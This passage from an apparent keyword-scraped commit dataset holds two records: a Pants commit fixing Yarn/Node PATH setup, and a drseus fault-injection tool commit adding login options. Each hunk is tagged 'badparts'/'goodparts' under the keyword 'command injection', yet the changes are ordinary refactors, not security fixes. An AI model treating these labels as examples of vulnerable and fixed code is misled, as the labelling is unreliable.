self.assertEqual(node_cmd.bin_dir_path, output.split(os.pathsep)[0])\n-\n- output = node_cmd.check_output(env={'PATH': '/test/path'}).strip()\n- self.assertEqual(node_cmd.bin_dir_path + os.path.pathsep + '/test/path', output)\n-\n- output = node_cmd.check_output(env={'PATH': ''}).strip()\n- self.assertEqual(node_cmd.bin_dir_path, output)\n+ injected_paths = node_path_cmd.check_output().strip().split(os.pathsep)\n+ self.assertEqual(node_bin_path, injected_paths[0])\n+\n+ def test_node_command_path_injection_with_overrided_path(self):\n+ node_bin_path = self.distribution.install_node()\n+ node_path_cmd = self.distribution.node_command(\n+ args=['--eval', 'console.log(process.env[\"PATH\"])'])\n+ injected_paths = node_path_cmd.check_output(\n+ env={'PATH': '/test/path'}\n+ ).strip().split(os.pathsep)\n+ self.assertEqual(node_bin_path, injected_paths[0])\n+ self.assertListEqual([node_bin_path, '/test/path'], injected_paths)\n+\n+ def test_node_command_path_injection_with_empty_path(self):\n+ node_bin_path = self.distribution.install_node()\n+ node_path_cmd = self.distribution.node_command(\n+ args=['--eval', 'console.log(process.env[\"PATH\"])'])\n+ injected_paths = node_path_cmd.check_output(\n+ env={'PATH': ''}\n+ ).strip().split(os.pathsep)\n+ self.assertListEqual([node_bin_path, ''], injected_paths)\n", "files": {"/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py": {"changes": [{"diff": "\n from pants.binaries.binary_util import BinaryUtil\n from pants.fs.archive import TGZ\n from pants.subsystem.subsystem import Subsystem\n-from pants.util.contextutil import temporary_dir\n-from pants.util.memo import memoized_property\n+from pants.util.memo import memoized_method\n \n \n logger = logging.getLogger(__name__)\n", "add": 1, "remove": 2, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": ["from pants.util.contextutil import temporary_dir", "from pants.util.memo import memoized_property"], "goodparts": ["from pants.util.memo import memoized_method"]}, {"diff": "\n # 'X.Y.Z'.\n return version if version.startswith('v') else 'v' + version\n \n- def __init__(self, binary_util, relpath, version, package_manager, yarnpkg_version):\n+ def __init__(self, binary_util, supportdir, version, package_manager, yarnpkg_version):\n self._binary_util = binary_util\n- self._relpath = relpath\n+ self._supportdir = supportdir\n self._version = self._normalize_version(version)\n self.package_manager = self.validate_package_manager(package_manager=package_manager)\n self.yarnpkg_version = self._normalize_version(version=yarnpkg_version)\n", "add": 2, "remove": 2, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" def __init__(self, binary_util, relpath, version, package_manager, yarnpkg_version):", " self._relpath = relpath"], "goodparts": [" def __init__(self, binary_util, supportdir, version, package_manager, yarnpkg_version):", " self._supportdir = supportdir"]}, {"diff": "\n \"\"\"\n return self._version\n \n- def get_binary_path_from_tgz(self, supportdir, version, filename, inpackage_path):\n+ def unpack_package(self, supportdir, version, filename):\n tarball_filepath = self._binary_util.select_binary(\n supportdir=supportdir, version=version, name=filename)\n logger.debug('Tarball for %s(%s): %s', supportdir, version, tarball_filepath)\n work_dir = os.path.dirname(tarball_filepath)\n- unpacked_dir = os.path.join(work_dir, 'unpacked')\n- if not os.path.exists(unpacked_dir):\n- with temporary_dir(root_dir=work_dir) as tmp_dist:\n- TGZ.extract(tarball_filepath, tmp_dist)\n- os.rename(tmp_dist, unpacked_dir)\n- binary_path = os.path.join(unpacked_dir, inpackage_path)\n- return binary_path\n-\n- @memoized_property\n- def path(self):\n- \"\"\"Returns the root path of this node distribution.\n-\n- :returns: The Node distribution root path.\n- :rtype: string\n- \"\"\"\n- node_path = self.get_binary_path_from_tgz(\n- supportdir=self._relpath, version=self.version, filename='node.tar.gz',\n- inpackage_path='node')\n- logger.debug('Node path: %s', node_path)\n- return node_path\n+ TGZ.extract(tarball_filepath, work_dir)\n+ return work_dir\n \n- @memoized_property\n- def yarnpkg_path(self):\n- \"\"\"Returns the root path of yarnpkg distribution.\n+ @memoized_method\n+ def install_node(self):\n+ \"\"\"Install the Node distribution from pants support binaries.\n \n- :returns: The yarnpkg root path.\n+ :returns: The Node distribution bin path.\n+ :rtype: string\n+ \"\"\"\n+ node_package_path = self.unpack_package(\n+ supportdir=self._supportdir, version=self.version, filename='node.tar.gz')\n+ # Todo: https://github.com/pantsbuild/pants/issues/4431\n+ # This line depends on repacked node distribution.\n+ # Should change it from 'node/bin' to 'dist/bin'\n+ node_bin_path = os.path.join(node_package_path, 'node', 'bin')\n+ return node_bin_path\n+\n+ @memoized_method\n+ def install_yarnpkg(self):\n+ \"\"\"Install the Yarnpkg distribution from pants support binaries.\n+\n+ :returns: The Yarnpkg distribution bin path.\n :rtype: string\n \"\"\"\n- yarnpkg_path = self.get_binary_path_from_tgz(\n- supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz',\n- inpackage_path='dist')\n- logger.debug('Yarnpkg path: %s', yarnpkg_path)\n- return yarnpkg_path\n+ yarnpkg_package_path = self.unpack_package(\n+ supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz')\n+ yarnpkg_bin_path = os.path.join(yarnpkg_package_path, 'dist', 'bin')\n+ return yarnpkg_bin_path\n \n- class Command(namedtuple('Command', ['bin_dir_path', 'executable', 'args'])):\n+ class Command(namedtuple('Command', ['executable', 'args', 'extra_paths'])):\n \"\"\"Describes a command to be run using a Node distribution.\"\"\"\n \n @property\n", "add": 27, "remove": 31, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" def get_binary_path_from_tgz(self, supportdir, version, filename, inpackage_path):", " unpacked_dir = os.path.join(work_dir, 'unpacked')", " if not os.path.exists(unpacked_dir):", " with temporary_dir(root_dir=work_dir) as tmp_dist:", " TGZ.extract(tarball_filepath, tmp_dist)", " os.rename(tmp_dist, unpacked_dir)", " binary_path = os.path.join(unpacked_dir, inpackage_path)", " return binary_path", " @memoized_property", " def path(self):", " \"\"\"Returns the root path of this node distribution.", " :returns: The Node distribution root path.", " :rtype: string", " \"\"\"", " node_path = self.get_binary_path_from_tgz(", " supportdir=self._relpath, version=self.version, filename='node.tar.gz',", " inpackage_path='node')", " logger.debug('Node path: %s', node_path)", " return node_path", " @memoized_property", " def yarnpkg_path(self):", " \"\"\"Returns the root path of yarnpkg distribution.", " :returns: The yarnpkg root path.", " yarnpkg_path = self.get_binary_path_from_tgz(", " supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz',", " inpackage_path='dist')", " logger.debug('Yarnpkg path: %s', yarnpkg_path)", " return yarnpkg_path", " class Command(namedtuple('Command', ['bin_dir_path', 'executable', 'args'])):"], "goodparts": [" def unpack_package(self, supportdir, version, filename):", " TGZ.extract(tarball_filepath, work_dir)", " return work_dir", " @memoized_method", " def install_node(self):", " \"\"\"Install the Node distribution from pants support binaries.", " :returns: The Node distribution bin path.", " :rtype: string", " \"\"\"", " node_package_path = self.unpack_package(", " supportdir=self._supportdir, version=self.version, filename='node.tar.gz')", " node_bin_path = os.path.join(node_package_path, 'node', 'bin')", " return node_bin_path", " @memoized_method", " def install_yarnpkg(self):", " \"\"\"Install the Yarnpkg distribution from pants support binaries.", " :returns: The Yarnpkg distribution bin path.", " yarnpkg_package_path = self.unpack_package(", " supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz')", " yarnpkg_bin_path = os.path.join(yarnpkg_package_path, 'dist', 'bin')", " return yarnpkg_bin_path", " class Command(namedtuple('Command', ['executable', 'args', 'extra_paths'])):"]}, {"diff": "\n :returns: The full command line used to spawn this command as a list of strings.\n :rtype: list\n \"\"\"\n- return [os.path.join(self.bin_dir_path, self.executable)] + self.args\n+ return [self.executable] + (self.args or [])\n \n def _prepare_env(self, kwargs):\n \"\"\"Returns a modifed copy of kwargs['env'], and a copy of kwargs with 'env' removed.\n", "add": 1, "remove": 1, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" return [os.path.join(self.bin_dir_path, self.executable)] + self.args"], "goodparts": [" return [self.executable] + (self.args or [])"]}, {"diff": "\n \"\"\"\n kwargs = kwargs.copy()\n env = kwargs.pop('env', os.environ).copy()\n- env['PATH'] = (self.bin_dir_path + os.path.pathsep + env['PATH']\n- if env.get('PATH', '') else self.bin_dir_path)\n+ env['PATH'] = os.path.pathsep.join(self.extra_paths + [env.get('PATH', '')])\n return env, kwargs\n \n def run(self, **kwargs):\n", "add": 1, "remove": 2, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" env['PATH'] = (self.bin_dir_path + os.path.pathsep + env['PATH']", " if env.get('PATH', '') else self.bin_dir_path)"], "goodparts": [" env['PATH'] = os.path.pathsep.join(self.extra_paths + [env.get('PATH', '')])"]}, {"diff": "\n \"\"\"\n # NB: We explicitly allow no args for the `node` command unlike the `npm` command since running\n # `node` with no arguments is useful, it launches a REPL.\n- return self._create_command('node', args)\n+ node_bin_path = self.install_node()\n+ return self.Command(\n+ executable=os.path.join(node_bin_path, 'node'), args=args,\n+ extra_paths=[node_bin_path])\n \n def npm_command(self, args):\n \"\"\"Creates a command that can run `npm`, passing the given args to it.\n", "add": 4, "remove": 1, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" return self._create_command('node', args)"], "goodparts": [" node_bin_path = self.install_node()", " return self.Command(", " executable=os.path.join(node_bin_path, 'node'), args=args,", " extra_paths=[node_bin_path])"]}, {"diff": "\n :returns: An `npm` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n \"\"\"\n- return self._create_command('npm', args)\n+ node_bin_path = self.install_node()\n+ return self.Command(\n+ executable=os.path.join(node_bin_path, 'npm'), args=args,\n+ extra_paths=[node_bin_path])\n \n def yarnpkg_command(self, args):\n \"\"\"Creates a command that can run `yarnpkg`, passing the given args to it.\n", "add": 4, "remove": 1, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" return self._create_command('npm', args)"], "goodparts": [" node_bin_path = self.install_node()", " return self.Command(", " executable=os.path.join(node_bin_path, 'npm'), args=args,", " extra_paths=[node_bin_path])"]}, {"diff": "\n :returns: An `yarnpkg` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n \"\"\"\n+ node_bin_path = self.install_node()\n+ yarnpkg_bin_path = self.install_yarnpkg()\n return self.Command(\n- bin_dir_path=os.path.join(self.yarnpkg_path, 'bin'), executable='yarnpkg', args=args or [])\n-\n- def _create_command(self, executable, args=None):\n- return self.Command(os.path.join(self.path, 'bin'), executable, args or [])\n+ executable=os.path.join(yarnpkg_bin_path, 'yarnpkg'), args=args,\n+ extra_paths=[yarnpkg_bin_path, node_bin_path])", "add": 4, "remove": 4, "filename": "/contrib/node/src/python/pants/contrib/node/subsystems/node_distribution.py", "badparts": [" bin_dir_path=os.path.join(self.yarnpkg_path, 'bin'), executable='yarnpkg', args=args or [])", " def _create_command(self, executable, args=None):", " return self.Command(os.path.join(self.path, 'bin'), executable, args or [])"], "goodparts": [" node_bin_path = self.install_node()", " yarnpkg_bin_path = self.install_yarnpkg()", " executable=os.path.join(yarnpkg_bin_path, 'yarnpkg'), args=args,", " extra_paths=[yarnpkg_bin_path, node_bin_path])"]}], "source": "\n from __future__ import(absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import logging import os import subprocess from collections import namedtuple from pants.base.exceptions import TaskError from pants.binaries.binary_util import BinaryUtil from pants.fs.archive import TGZ from pants.subsystem.subsystem import Subsystem from pants.util.contextutil import temporary_dir from pants.util.memo import memoized_property logger=logging.getLogger(__name__) class NodeDistribution(object): \"\"\"Represents a self-bootstrapping Node distribution.\"\"\" class Factory(Subsystem): options_scope='node-distribution' @classmethod def subsystem_dependencies(cls): return(BinaryUtil.Factory,) @classmethod def register_options(cls, register): super(NodeDistribution.Factory, cls).register_options(register) register('--supportdir', advanced=True, default='bin/node', help='Find the Node distributions under this dir. Used as part of the path to ' 'lookup the distribution with --binary-util-baseurls and --pants-bootstrapdir') register('--version', advanced=True, default='6.9.1', help='Node distribution version. Used as part of the path to lookup the ' 'distribution with --binary-util-baseurls and --pants-bootstrapdir') register('--package-manager', advanced=True, default='npm', fingerprint=True, choices=NodeDistribution.VALID_PACKAGE_MANAGER_LIST.keys(), help='Default package manager config for repo. Should be one of{}'.format( NodeDistribution.VALID_PACKAGE_MANAGER_LIST.keys())) register('--yarnpkg-version', advanced=True, default='v0.19.1', fingerprint=True, help='Yarnpkg version. Used for binary utils') def create(self): binary_util=BinaryUtil.Factory.create() options=self.get_options() return NodeDistribution( binary_util, options.supportdir, options.version, package_manager=options.package_manager, yarnpkg_version=options.yarnpkg_version) PACKAGE_MANAGER_NPM='npm' PACKAGE_MANAGER_YARNPKG='yarnpkg' VALID_PACKAGE_MANAGER_LIST={ 'npm': PACKAGE_MANAGER_NPM, 'yarn': PACKAGE_MANAGER_YARNPKG } @classmethod def validate_package_manager(cls, package_manager): if package_manager not in cls.VALID_PACKAGE_MANAGER_LIST.keys(): raise TaskError('Unknown package manager: %s' % package_manager) package_manager=cls.VALID_PACKAGE_MANAGER_LIST[package_manager] return package_manager @classmethod def _normalize_version(cls, version): return version if version.startswith('v') else 'v' +version def __init__(self, binary_util, relpath, version, package_manager, yarnpkg_version): self._binary_util=binary_util self._relpath=relpath self._version=self._normalize_version(version) self.package_manager=self.validate_package_manager(package_manager=package_manager) self.yarnpkg_version=self._normalize_version(version=yarnpkg_version) logger.debug('Node.js version: %s package manager from config: %s', self._version, package_manager) @property def version(self): \"\"\"Returns the version of the Node distribution. :returns: The Node distribution version number string. :rtype: string \"\"\" return self._version def get_binary_path_from_tgz(self, supportdir, version, filename, inpackage_path): tarball_filepath=self._binary_util.select_binary( supportdir=supportdir, version=version, name=filename) logger.debug('Tarball for %s(%s): %s', supportdir, version, tarball_filepath) work_dir=os.path.dirname(tarball_filepath) unpacked_dir=os.path.join(work_dir, 'unpacked') if not os.path.exists(unpacked_dir): with temporary_dir(root_dir=work_dir) as tmp_dist: TGZ.extract(tarball_filepath, tmp_dist) os.rename(tmp_dist, unpacked_dir) binary_path=os.path.join(unpacked_dir, inpackage_path) return binary_path @memoized_property def path(self): \"\"\"Returns the root path of this node distribution. :returns: The Node distribution root path. :rtype: string \"\"\" node_path=self.get_binary_path_from_tgz( supportdir=self._relpath, version=self.version, filename='node.tar.gz', inpackage_path='node') logger.debug('Node path: %s', node_path) return node_path @memoized_property def yarnpkg_path(self): \"\"\"Returns the root path of yarnpkg distribution. :returns: The yarnpkg root path. :rtype: string \"\"\" yarnpkg_path=self.get_binary_path_from_tgz( supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz', inpackage_path='dist') logger.debug('Yarnpkg path: %s', yarnpkg_path) return yarnpkg_path class Command(namedtuple('Command',['bin_dir_path', 'executable', 'args'])): \"\"\"Describes a command to be run using a Node distribution.\"\"\" @property def cmd(self): \"\"\"The command line that will be executed when this command is spawned. :returns: The full command line used to spawn this command as a list of strings. :rtype: list \"\"\" return[os.path.join(self.bin_dir_path, self.executable)] +self.args def _prepare_env(self, kwargs): \"\"\"Returns a modifed copy of kwargs['env'], and a copy of kwargs with 'env' removed. If there is no 'env' field in the kwargs, os.environ.copy() is used. env['PATH'] is set/modified to contain the Node distribution's bin directory at the front. :param kwargs: The original kwargs. :returns: An(env, kwargs) tuple containing the modified env and kwargs copies. :rtype:(dict, dict) \"\"\" kwargs=kwargs.copy() env=kwargs.pop('env', os.environ).copy() env['PATH']=(self.bin_dir_path +os.path.pathsep +env['PATH'] if env.get('PATH', '') else self.bin_dir_path) return env, kwargs def run(self, **kwargs): \"\"\"Runs this command. :param **kwargs: Any extra keyword arguments to pass along to `subprocess.Popen`. :returns: A handle to the running command. :rtype::class:`subprocess.Popen` \"\"\" env, kwargs=self._prepare_env(kwargs) return subprocess.Popen(self.cmd, env=env, **kwargs) def check_output(self, **kwargs): \"\"\"Runs this command returning its captured stdout. :param **kwargs: Any extra keyword arguments to pass along to `subprocess.Popen`. :returns: The captured standard output stream of the command. :rtype: string :raises::class:`subprocess.CalledProcessError` if the command fails. \"\"\" env, kwargs=self._prepare_env(kwargs) return subprocess.check_output(self.cmd, env=env, **kwargs) def __str__(self): return ' '.join(self.cmd) def node_command(self, args=None): \"\"\"Creates a command that can run `node`, passing the given args to it. :param list args: An optional list of arguments to pass to `node`. :returns: A `node` command that can be run later. :rtype::class:`NodeDistribution.Command` \"\"\" return self._create_command('node', args) def npm_command(self, args): \"\"\"Creates a command that can run `npm`, passing the given args to it. :param list args: A list of arguments to pass to `npm`. :returns: An `npm` command that can be run later. :rtype::class:`NodeDistribution.Command` \"\"\" return self._create_command('npm', args) def yarnpkg_command(self, args): \"\"\"Creates a command that can run `yarnpkg`, passing the given args to it. :param list args: A list of arguments to pass to `yarnpkg`. :returns: An `yarnpkg` command that can be run later. :rtype::class:`NodeDistribution.Command` \"\"\" return self.Command( bin_dir_path=os.path.join(self.yarnpkg_path, 'bin'), executable='yarnpkg', args=args or[]) def _create_command(self, executable, args=None): return self.Command(os.path.join(self.path, 'bin'), executable, args or[]) ", "sourceWithComments": "# coding=utf-8\n# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport logging\nimport os\nimport subprocess\nfrom collections import namedtuple\n\nfrom pants.base.exceptions import TaskError\nfrom pants.binaries.binary_util import BinaryUtil\nfrom pants.fs.archive import TGZ\nfrom pants.subsystem.subsystem import Subsystem\nfrom pants.util.contextutil import temporary_dir\nfrom pants.util.memo import memoized_property\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass NodeDistribution(object):\n \"\"\"Represents a self-bootstrapping Node distribution.\"\"\"\n\n class Factory(Subsystem):\n options_scope = 'node-distribution'\n\n @classmethod\n def subsystem_dependencies(cls):\n return (BinaryUtil.Factory,)\n\n @classmethod\n def register_options(cls, register):\n super(NodeDistribution.Factory, cls).register_options(register)\n register('--supportdir', advanced=True, default='bin/node',\n help='Find the Node distributions under this dir. Used as part of the path to '\n 'lookup the distribution with --binary-util-baseurls and --pants-bootstrapdir')\n register('--version', advanced=True, default='6.9.1',\n help='Node distribution version. Used as part of the path to lookup the '\n 'distribution with --binary-util-baseurls and --pants-bootstrapdir')\n register('--package-manager', advanced=True, default='npm', fingerprint=True,\n choices=NodeDistribution.VALID_PACKAGE_MANAGER_LIST.keys(),\n help='Default package manager config for repo. Should be one of {}'.format(\n NodeDistribution.VALID_PACKAGE_MANAGER_LIST.keys()))\n register('--yarnpkg-version', advanced=True, default='v0.19.1', fingerprint=True,\n help='Yarnpkg version. Used for binary utils')\n\n def create(self):\n # NB: create is an instance method to allow the user to choose global or scoped.\n # It's not unreasonable to imagine multiple Node versions in play; for example: when\n # transitioning from the 0.10.x series to the 0.12.x series.\n binary_util = BinaryUtil.Factory.create()\n options = self.get_options()\n return NodeDistribution(\n binary_util, options.supportdir, options.version,\n package_manager=options.package_manager,\n yarnpkg_version=options.yarnpkg_version)\n\n PACKAGE_MANAGER_NPM = 'npm'\n PACKAGE_MANAGER_YARNPKG = 'yarnpkg'\n VALID_PACKAGE_MANAGER_LIST = {\n 'npm': PACKAGE_MANAGER_NPM,\n 'yarn': PACKAGE_MANAGER_YARNPKG\n }\n\n @classmethod\n def validate_package_manager(cls, package_manager):\n if package_manager not in cls.VALID_PACKAGE_MANAGER_LIST.keys():\n raise TaskError('Unknown package manager: %s' % package_manager)\n package_manager = cls.VALID_PACKAGE_MANAGER_LIST[package_manager]\n return package_manager\n\n @classmethod\n def _normalize_version(cls, version):\n # The versions reported by node and embedded in distribution package names are 'vX.Y.Z' and not\n # 'X.Y.Z'.\n return version if version.startswith('v') else 'v' + version\n\n def __init__(self, binary_util, relpath, version, package_manager, yarnpkg_version):\n self._binary_util = binary_util\n self._relpath = relpath\n self._version = self._normalize_version(version)\n self.package_manager = self.validate_package_manager(package_manager=package_manager)\n self.yarnpkg_version = self._normalize_version(version=yarnpkg_version)\n logger.debug('Node.js version: %s package manager from config: %s',\n self._version, package_manager)\n\n @property\n def version(self):\n \"\"\"Returns the version of the Node distribution.\n\n :returns: The Node distribution version number string.\n :rtype: string\n \"\"\"\n return self._version\n\n def get_binary_path_from_tgz(self, supportdir, version, filename, inpackage_path):\n tarball_filepath = self._binary_util.select_binary(\n supportdir=supportdir, version=version, name=filename)\n logger.debug('Tarball for %s(%s): %s', supportdir, version, tarball_filepath)\n work_dir = os.path.dirname(tarball_filepath)\n unpacked_dir = os.path.join(work_dir, 'unpacked')\n if not os.path.exists(unpacked_dir):\n with temporary_dir(root_dir=work_dir) as tmp_dist:\n TGZ.extract(tarball_filepath, tmp_dist)\n os.rename(tmp_dist, unpacked_dir)\n binary_path = os.path.join(unpacked_dir, inpackage_path)\n return binary_path\n\n @memoized_property\n def path(self):\n \"\"\"Returns the root path of this node distribution.\n\n :returns: The Node distribution root path.\n :rtype: string\n \"\"\"\n node_path = self.get_binary_path_from_tgz(\n supportdir=self._relpath, version=self.version, filename='node.tar.gz',\n inpackage_path='node')\n logger.debug('Node path: %s', node_path)\n return node_path\n\n @memoized_property\n def yarnpkg_path(self):\n \"\"\"Returns the root path of yarnpkg distribution.\n\n :returns: The yarnpkg root path.\n :rtype: string\n \"\"\"\n yarnpkg_path = self.get_binary_path_from_tgz(\n supportdir='bin/yarnpkg', version=self.yarnpkg_version, filename='yarnpkg.tar.gz',\n inpackage_path='dist')\n logger.debug('Yarnpkg path: %s', yarnpkg_path)\n return yarnpkg_path\n\n class Command(namedtuple('Command', ['bin_dir_path', 'executable', 'args'])):\n \"\"\"Describes a command to be run using a Node distribution.\"\"\"\n\n @property\n def cmd(self):\n \"\"\"The command line that will be executed when this command is spawned.\n\n :returns: The full command line used to spawn this command as a list of strings.\n :rtype: list\n \"\"\"\n return [os.path.join(self.bin_dir_path, self.executable)] + self.args\n\n def _prepare_env(self, kwargs):\n \"\"\"Returns a modifed copy of kwargs['env'], and a copy of kwargs with 'env' removed.\n\n If there is no 'env' field in the kwargs, os.environ.copy() is used.\n env['PATH'] is set/modified to contain the Node distribution's bin directory at the front.\n\n :param kwargs: The original kwargs.\n :returns: An (env, kwargs) tuple containing the modified env and kwargs copies.\n :rtype: (dict, dict)\n \"\"\"\n kwargs = kwargs.copy()\n env = kwargs.pop('env', os.environ).copy()\n env['PATH'] = (self.bin_dir_path + os.path.pathsep + env['PATH']\n if env.get('PATH', '') else self.bin_dir_path)\n return env, kwargs\n\n def run(self, **kwargs):\n \"\"\"Runs this command.\n\n :param **kwargs: Any extra keyword arguments to pass along to `subprocess.Popen`.\n :returns: A handle to the running command.\n :rtype: :class:`subprocess.Popen`\n \"\"\"\n env, kwargs = self._prepare_env(kwargs)\n return subprocess.Popen(self.cmd, env=env, **kwargs)\n\n def check_output(self, **kwargs):\n \"\"\"Runs this command returning its captured stdout.\n\n :param **kwargs: Any extra keyword arguments to pass along to `subprocess.Popen`.\n :returns: The captured standard output stream of the command.\n :rtype: string\n :raises: :class:`subprocess.CalledProcessError` if the command fails.\n \"\"\"\n env, kwargs = self._prepare_env(kwargs)\n return subprocess.check_output(self.cmd, env=env, **kwargs)\n\n def __str__(self):\n return ' '.join(self.cmd)\n\n def node_command(self, args=None):\n \"\"\"Creates a command that can run `node`, passing the given args to it.\n\n :param list args: An optional list of arguments to pass to `node`.\n :returns: A `node` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n \"\"\"\n # NB: We explicitly allow no args for the `node` command unlike the `npm` command since running\n # `node` with no arguments is useful, it launches a REPL.\n return self._create_command('node', args)\n\n def npm_command(self, args):\n \"\"\"Creates a command that can run `npm`, passing the given args to it.\n\n :param list args: A list of arguments to pass to `npm`.\n :returns: An `npm` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n \"\"\"\n return self._create_command('npm', args)\n\n def yarnpkg_command(self, args):\n \"\"\"Creates a command that can run `yarnpkg`, passing the given args to it.\n\n :param list args: A list of arguments to pass to `yarnpkg`.\n :returns: An `yarnpkg` command that can be run later.\n :rtype: :class:`NodeDistribution.Command`\n \"\"\"\n return self.Command(\n bin_dir_path=os.path.join(self.yarnpkg_path, 'bin'), executable='yarnpkg', args=args or [])\n\n def _create_command(self, executable, args=None):\n return self.Command(os.path.join(self.path, 'bin'), executable, args or [])\n"}}, "msg": "Correctly inject Yarn into the Node path when it is in use (#4455)\n\n### Problem\r\n\r\nDespite being correctly downloaded, yarn was not always being correctly injected into the path of running commands. This was not detected due to insufficient test coverage.\r\n\r\n### Solution\r\n\r\nAdd a bunch of test coverage, and fix the injection.\r\n\r\n### Result\r\n\r\nYarn will properly be injected onto the path. Fixes #4426."}}, "https://github.com/jcmarsh/drseus": {"1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4": {"url": "https://api.github.com/repos/jcmarsh/drseus/commits/1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4", "html_url": "https://github.com/jcmarsh/drseus/commit/1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4", "message": "added login command options\nupdated event exception and stack trace logging\nadded injection success column to results table\ncleaned up result template\nadded open all displayed button to results table page\nadded clean command", "sha": "1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4", "keyword": "command injection update", "diff": "diff --git a/drseus.py b/drseus.py\nindex 1d1bd17..f6d762e 100755\n--- a/drseus.py\n+++ b/drseus.py\n@@ -3,14 +3,11 @@\n \n import utilities\n \n-# TODO: add option for device password\n # TODO: add options for custom error messages\n # TODO: use formatting strings\n # TODO: add ip address override\n # TODO: remove output image buttons if not needed from log viewer result page\n # TODO: move rsakey back into campaign_data/db\n-# TODO: add boot commands option\n-# TODO: add modes to backup database and delete backups\n # TODO: add mode to redo injection iteration\n # TODO: add fallback to power cycle when resetting dut\n # TODO: add support for injection of multi-bit upsets\n@@ -50,6 +47,8 @@\n help='device password')\n parser.add_argument('--uboot', action='store', metavar='COMMAND',\n dest='dut_uboot', default='', help='DUT u-boot command')\n+parser.add_argument('--login', action='store', metavar='COMMAND',\n+ dest='dut_login', default='', help='DUT post-login command')\n parser.add_argument('--aux_serial', action='store', metavar='PORT',\n dest='aux_serial_port',\n help='AUX serial port [p2020 default=/dev/ttyUSB1] '\n@@ -66,6 +65,8 @@\n '[a9 default=[root@ZED]#] (overridden by Simics)')\n parser.add_argument('--aux_uboot', action='store', metavar='COMMAND',\n dest='aux_uboot', default='', help='AUX u-boot command')\n+parser.add_argument('--aux_login', action='store', metavar='COMMAND',\n+ dest='aux_login', default='', help='AUX post-login command')\n parser.add_argument('--debugger_ip', action='store', metavar='ADDRESS',\n dest='debugger_ip_address', default='10.42.0.50',\n help='debugger ip address [default=10.42.0.50] '\n@@ -84,7 +85,7 @@\n new_campaign.add_argument('application', action='store', metavar='APPLICATION',\n help='application to run on device')\n new_campaign.add_argument('-A', '--arch', action='store',\n- choices=('a9', 'p2020'), dest='architecture',\n+ choices=['a9', 'p2020'], dest='architecture',\n default='p2020',\n help='target architecture [default=p2020]')\n new_campaign.add_argument('-t', '--timing', action='store', type=int,\n@@ -191,10 +192,10 @@\n description='delete results and campaigns',\n help='delete results and campaigns')\n delete.add_argument('delete', action='store',\n- choices=('all', 'results', 'campaign'),\n- help='delete {results} for the selected campaign, '\n- 'delete selected {campaign} and its results, '\n- 'or delete {all} campaigns and results')\n+ choices=['results', 'campaign', 'all', 'r', 'c', 'a'],\n+ help='delete {results, r} for the selected campaign, '\n+ 'delete selected {campaign, c} and its results, '\n+ 'or delete {all, a} campaigns and results')\n delete.set_defaults(func=utilities.delete)\n \n merge = subparsers.add_parser('merge', aliases=['m', 'M'],\n@@ -237,10 +238,23 @@\n description='backup the results database')\n backup.set_defaults(func=utilities.backup_database)\n \n+backup = subparsers.add_parser('clean', aliases=['c', 'C'],\n+ help='delete database backups and injected '\n+ 'checkpoints',\n+ description='delete database backups and '\n+ 'injected checkpoints')\n+backup.set_defaults(func=utilities.clean)\n+\n options = parser.parse_args()\n if options.command is None:\n parser.print_help()\n else:\n+ if options.command == 'n':\n+ options.command = 'new'\n+ elif options.command == 'i':\n+ options.command = 'inject'\n+ elif options.command == 's':\n+ options.command = 'supervise'\n if options.command != 'new':\n if not options.campaign_id:\n options.campaign_id = utilities.get_last_campaign()\ndiff --git a/dut.py b/dut.py\nindex 64adbbe..cfe7335 100644\n--- a/dut.py\n+++ b/dut.py\n@@ -29,6 +29,7 @@ class dut(object):\n ('Call Trace:', 'Kernel error'),\n ('detected stalls on CPU', 'Stall detected'),\n ('malloc(), memory corruption', 'Kernel error'),\n+ ('malloc(): memory corruption', 'Kernel error'),\n ('Bad swap file entry', 'Kernel error'),\n ('Unable to handle kernel paging request', 'Kernel error'),\n ('Alignment trap', 'Kernel error'),\n@@ -46,6 +47,8 @@ def __init__(self, campaign_data, result_data, options, rsakey, aux=False):\n self.aux = aux\n self.uboot_command = self.options.dut_uboot if not self.aux \\\n else self.options.aux_uboot\n+ self.login_command = self.options.dut_login if not self.aux \\\n+ else self.options.aux_login\n serial_port = (options.dut_serial_port if not aux\n else options.aux_serial_port)\n baud_rate = (options.dut_baud_rate if not aux\n@@ -92,12 +95,12 @@ def send_files(self, files, attempts=10):\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if 